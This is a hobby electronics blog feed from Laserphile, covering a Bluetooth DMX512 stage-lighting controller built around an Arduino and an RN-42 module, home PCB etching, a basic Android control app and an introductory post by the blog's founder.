<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj48JnD06QyJ74Lm6m8dohMIAjya5luOT19ENotU3yM0mrdgI3bjEy7zQHvL8O7PGGAAiD5NQbHlGGr4Ob7F7Pqm7TM05KMjMIfzkSjMZMaXnxSEwggJ6d49vF_8MWtkBYqgYDIB6DW9fo/s1600/IMG_20150810_172927.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="Laserphile Hydra 3D printer on desk" border="0" height="295" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj48JnD06QyJ74Lm6m8dohMIAjya5luOT19ENotU3yM0mrdgI3bjEy7zQHvL8O7PGGAAiD5NQbHlGGr4Ob7F7Pqm7TM05KMjMIfzkSjMZMaXnxSEwggJ6d49vF_8MWtkBYqgYDIB6DW9fo/s400/IMG_20150810_172927.jpg" title="" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Printer desk</td></tr>
</tbody></table>
<br />
I recently designed and printed a roller bearing to be printed in one piece and then the support material holding the rollers in place can be dissolved away to create a working bearing. I'll discuss this in a future post.<br />
<br />
Matt</div>
mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-62842791306719995872015-04-11T09:09:00.001+08:002015-08-10T18:50:02.951+08:00Bluetooth DMX controller updateAfter a couple of queries from people interested in this project i have decided to post an update to what we have been working on. We have produced a production prototype of the Bluetooth DMX controller to bring it a step closer to being ready for a small run production sample. I also threw together a very basic Android application using MITs application inventor, this let us test the first prototype as well as show off the proof of concept to friends.<br />
<div>
<u><br /></u>
<br />
<h3>
<u>The hardware</u></h3>
</div>
<div>
<div>
There were a couple of design iterations building up to the construction of the first production prototype. The production prototype boards are based around an Arduino mini controller and a Roving Networks RN-42 SMD bluetooth module.<br />
<br />
The component list in full:</div>
<div>
<ul>
<li>Arduino mini</li>
<li>RN-42 SMD bluetooth module</li>
<li>MAX485 RS-485 serial interface</li>
<li>5V TO-220 regulator</li>
<li>3.3V TO-220 regulator</li>
<li>3 * 10µF electrolytic capacitors</li>
<li>2.5mm barrel jack power connector</li>
</ul>
</div>
<div>
<br />
You can see the component layout in this early design revision. from the right most side we have the XLR connector, the 8 pin MAX485 IC, the 5v regulator with capacitor above, socket layout for the arduino mini, surface mount pad layout for the RN-42 bluetooth module, 3.3v regulator, two capacitors and the 2.5mm barrel jack power connector. Note that all the thru-hole components are on the non copper side and the bluetooth SMD module is soldered straight onto the copper side of the printed circuit board.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/HfkdfuB.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/HfkdfuB.png" height="204" width="640" /></a></div>
<div>
<br /></div>
<div>
<br />
<br />
The following is the layout of the first unit built, it has the power components all to the right hand side of the board to simplify the track layout, and have both power and DMX connectors coming out the one end.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkrQIgGANz3QRxPtpIkGlo_UYxTbPXu6DJsW_moa1tEaWEZnxTTO5UbnL32HW7fP-cV9_RxbgW8jkiO73B6kmN7amYp55jtnsIuHZZ8_TzGv1wKvBgDwEfguIbWzWr_qfgKzQHejvGe0g/s1600/rect3055.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="310" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkrQIgGANz3QRxPtpIkGlo_UYxTbPXu6DJsW_moa1tEaWEZnxTTO5UbnL32HW7fP-cV9_RxbgW8jkiO73B6kmN7amYp55jtnsIuHZZ8_TzGv1wKvBgDwEfguIbWzWr_qfgKzQHejvGe0g/s1600/rect3055.png" width="640" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
For production the design is transferred to a <a href="http://www.altronics.com.au/p/h0772-114-x-165mm-positive-resist-single-sided-blank-pcb/" rel="nofollow">Kinsten positive photo resist board</a> by covering the bare circuit board with the printed design (printed on transparency paper) and exposing it to UV light, in our case using a specially designed UV flruo lightbox. After exposure the baord is still sensitive to light so it must be quickly developed in the <a href="http://www.altronics.com.au/p/h0798-positive-resist-pcb-etching-solution/" rel="nofollow">Kinsten developer solution</a>. Finally it is ready to etch, I did this using <a href="http://www.altronics.com.au/p/h0800-ferric-chloride-copper-etchant-500ml/" rel="nofollow">Ferric chloride</a> and an old electric stove in an open area (the fumes can be quite noxious). Last two steps are to give the etched board a coat of circuit board lacquer to prevent the copper oxidising in the air and drilling out the holes for components.<br />
<br />
You can just see 4 identical circuits laid out on the large circuit board on the table.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7IsR8CX36FcAFyZyYPPJWbC4YLDmvO47cZa3NnjLLvVASzCYNc3fV9M2sa8pKQxBR_-MIFIC6FYVbzsVUT-lsIw2pX6noZxkpaW6ulFzKwvjGaDZ8cOwLrLxIu1HEbuvgUUyi9_jLgNQ/s1600/1939703_10153903522025385_281951446_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7IsR8CX36FcAFyZyYPPJWbC4YLDmvO47cZa3NnjLLvVASzCYNc3fV9M2sa8pKQxBR_-MIFIC6FYVbzsVUT-lsIw2pX6noZxkpaW6ulFzKwvjGaDZ8cOwLrLxIu1HEbuvgUUyi9_jLgNQ/s1600/1939703_10153903522025385_281951446_n.jpg" width="640" /></a><br />
<br />
The first constructed prototype.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/SauWZB0.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/SauWZB0.jpg" height="400" width="300" /></a></div>
<br />
<br />
The current hardware plan is to make a small production run of units with 3d printed cases. We will give these units out to friends so we can get some feedback on what could be changed.<br />
<div>
<br /></div>
<h3>
<u>The Android software</u></h3>
The Android software is currently very basic, being able to only address 5 DMX channels via sliders on the touch screen. I built this quickly using the <a href="http://appinventor.mit.edu/">MIT app inventor</a>, a very useful tool for quickly and easily making android applications.<br />
I set up the first 2 channels to be able to strobe between 0 and the selected value on the slider (maximum 255).<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/i2vzobs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/i2vzobs.png" height="640" width="360" /></a></div>
<br />
<br />
<br />
I plan on re-writing the application from scratch and will be working to add the ability to assign a group of DMX channels to individual devices (like multi colour LED lights or moving heads). This will allow for a simple and intuitive interface for any screen size.<br />
Following that I will work on enabling the ability to pre-set scenes and animations to be enabled on cue or run on a pre-set timeline.This will bring the functionality of the control software to be on par or better than low end dedicated DMX lighting desks.<br />
<br />
<br /></div>
<div>
Stay tuned.<br />
Matt</div>
</div>
mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com8tag:blogger.com,1999:blog-6527582820690732985.post-60412887532184166652013-06-01T21:54:00.000+08:002015-08-10T18:50:09.379+08:00Bluetooth DMX512 controller<div>
<span style="font-size: x-small;">DMX512 (Digital MultipleX) is a standard for digital communication networks that are commonly used to control stage lighting and effects. It was originally intended as a standardized method for controlling light dimmers, which, prior to DMX512, had employed various incompatible proprietary protocols. It soon became the primary method for linking controllers to dimmers and special effects devices such as fog machines and intelligent lights. DMX has also expanded to uses in non-theatrical interior and architectural lighting, at scales ranging from strings of Christmas lights to electronic billboards.</span></div>
<div>
- <a href="http://en.wikipedia.org/wiki/DMX512">Wikipedia</a></div>
<span style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19.1875px;"><br /></span>
<span style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19.1875px;"><br /></span>
<span style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19.1875px;"><br /></span>
<span style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19.1875px;"><br /></span>
<span style="font-family: sans-serif;"><span style="line-height: 19.1875px;">The need for a DMX lighting controller came about after I bought my first piece of lighting equipment, a DUNE 3 colour laser projector. This unit has automatic show functions and a sound reactive function, but it isn't enough, I wanted to be able to control the functions of my laser. </span></span><br />
<span style="font-family: sans-serif;"><span style="line-height: 19.1875px;">After doing a bit of research into current products available on the market, I found they were either based on a physical lighting desk (expensive hardware), or propriety software systems based on a computer communicating with a usb DMX controller (expensive software/hardware). </span></span><span style="font-family: sans-serif; line-height: 19.1875px;">In my research I also came across an Arduino software library capable of driving DMX signals, the hardware side of things is very simple, it is based around an RS485 serial communication IC with some supporting circuitry. </span><br />
<span style="font-family: sans-serif; line-height: 19.1875px;"><br /></span>
<span style="font-family: sans-serif;"><span style="line-height: 19.1875px;">The use of an Arduino microcontroller means that any manner of control could be used, anything from push buttons, to variable resistors, to accelerometer or the idea I had, which was to connect via Bluetooth to my phone. Okay, so it isn't a particularly new idea, but so far I cannot find anyone who has tried doing this open source. I want to be able to drop all of my gear down at an event, plug the power in, and immediately be able to control everything via a wireless connection from my phone. DMX512 supports daisy chaining devices along the same DMX bus, this removes the hassle of wiring back to central location, this plus wireless control should mean a very quick and pain free set up.</span></span><br />
<span style="font-family: sans-serif; line-height: 19.1875px;"><br /></span>
<br />
<br />
<span style="font-family: sans-serif;"><span style="line-height: 19.1875px;">This is at the breadboard stage, I have a power supply in the background there supplying 3.3v to the Arduino and Bluetooth module.</span></span><br />
<a href="http://imgur.com/zbJshtn"><img src="http://i.imgur.com/zbJshtnl.jpg" title="Hosted by imgur.com" /></a><br />
<br />
I was testing out the functionality with my RGB LED strobe.<br />
<a href="http://imgur.com/SpkX6mm"><img src="http://i.imgur.com/SpkX6mml.jpg" title="Hosted by imgur.com" /></a><br />
<br />
I have changed to a different Arduino module here. The prototype board seen holds the two voltage regulators, a MAX485 chip and all the wiring to go between the Bluetooth and Arduino.<br />
<a href="http://imgur.com/oCQrFbq"><img src="http://i.imgur.com/oCQrFbql.jpg" title="Hosted by imgur.com" /></a><br />
<br />
This is how the first prototype looks. My next two steps with the hardware is to design a custom PCB and a 3D printed case to hold everything together a bit more securely.<br />
Looking at the software side of things and it is non existent, the phone and Arduino are currently just communicating via a Bluetooth serial terminal, the DMX library on the Arduino interprets commands and applies them to the DMX bus. The mobile device software side will be something relatively simple and allow for basic control of the DMX channels with possibly some programmable functions.<br />
<a href="http://imgur.com/xUDosSr"><img src="http://i.imgur.com/xUDosSrl.jpg" title="Hosted by imgur.com" /></a>
<br />
<br />
Just to share, this is my road case of stage equipment, it includes an RGB LED strobe, Dune red, green and cyan laser projector, and a Dune 400 smoke machine.<br />
<a href="http://imgur.com/zyVDTEa"><img src="http://i.imgur.com/zyVDTEal.jpg?1" title="Hosted by imgur.com" /></a>mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com2tag:blogger.com,1999:blog-6527582820690732985.post-80872347078279121132013-03-22T01:02:00.001+08:002013-03-22T01:06:32.405+08:00An introduction to Laserphile<span style="font-family: Arial, Helvetica, sans-serif;">Hey everyone, w</span><span style="font-family: Arial, Helvetica, sans-serif;">elcome to this shiny new blog!</span><br />
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Allow me to introduce myself. </span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQqucjJEP9jWu71qdeRAYrm6u-QYtgBv-ijMDVyNhd2WpnWbkqa2GhwBePElv__FgOo1Jn7bimR4qT6hBvOQ-pycAK7jak29hzGt5g4cYahflo3s3zDX0TCOWIKnHwfM1xdmbrMLlMSis/s1600/IMG_2412.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQqucjJEP9jWu71qdeRAYrm6u-QYtgBv-ijMDVyNhd2WpnWbkqa2GhwBePElv__FgOo1Jn7bimR4qT6hBvOQ-pycAK7jak29hzGt5g4cYahflo3s3zDX0TCOWIKnHwfM1xdmbrMLlMSis/s320/IMG_2412.JPG" width="320" /></a></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">I am Derwent and so far I am the sole contributor to this blog. Some of my friends have expressed interest in creating content for this blog but they shall be introduced in due time. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">I'm a part time Physics student, part time blogger, and a part time unicorn. I've </span><span style="font-family: Arial, Helvetica, sans-serif;">been working on a number of awesome electronics projects recently, so instead of posting them to <a href="http://derwents.tumblr.com/">my personal blog</a>, I thought I would register my own domain and start this: A blog for my friends' electronic and computer hacking shenanigans. </span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">The name came from my partner in crime, Matt who owns a real life freaking laser. </span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoW38_IrEVGAClwTJO0RWb4aVx-J5d37hFjJyRbeYgrYpkGDqjtVfAenBVsXMlKX4kXvq2ckjcuJXWffHO-0m9Fz75ZqqjX0kvtqKEeEBz4jmAJrfql-cmskEOFph7kmaFerW0q3Pv_cY/s1600/11430_10152613932560385_532434762_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoW38_IrEVGAClwTJO0RWb4aVx-J5d37hFjJyRbeYgrYpkGDqjtVfAenBVsXMlKX4kXvq2ckjcuJXWffHO-0m9Fz75ZqqjX0kvtqKEeEBz4jmAJrfql-cmskEOFph7kmaFerW0q3Pv_cY/s320/11430_10152613932560385_532434762_n.jpg" width="239" /></a></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">One of our main projects this year will hopefully be converting Matt's laser to work with open source laser control software so that we can participate in all kinds of laser shenanigans. </span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">My current project is writing the software for this:</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZHC-ifxF8Ccen1_Apu0jc73RIU1U_nDVr7CcOFs8QXg97TukTQx3ps5DO3EzG4mwZI5fwipHLkBjD14QGCApLWeGNtNdZ3Z8l0K1TrCKtWAVBXLzo8X_uoG4BkqA4NRnqk3D-kMLGMI8/s1600/IMG_2421.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZHC-ifxF8Ccen1_Apu0jc73RIU1U_nDVr7CcOFs8QXg97TukTQx3ps5DO3EzG4mwZI5fwipHLkBjD14QGCApLWeGNtNdZ3Z8l0K1TrCKtWAVBXLzo8X_uoG4BkqA4NRnqk3D-kMLGMI8/s320/IMG_2421.JPG" width="320" /></a></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">A bunch of LEDs I hooked up to a Raspberry Pi, that will one day function as a binary clock. </span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Stick around for more details on the binary clock project and many more laser-related shenanigans!</span></div>
Anonymoushttp://www.blogger.com/profile/16523767984328798738noreply@blogger.com0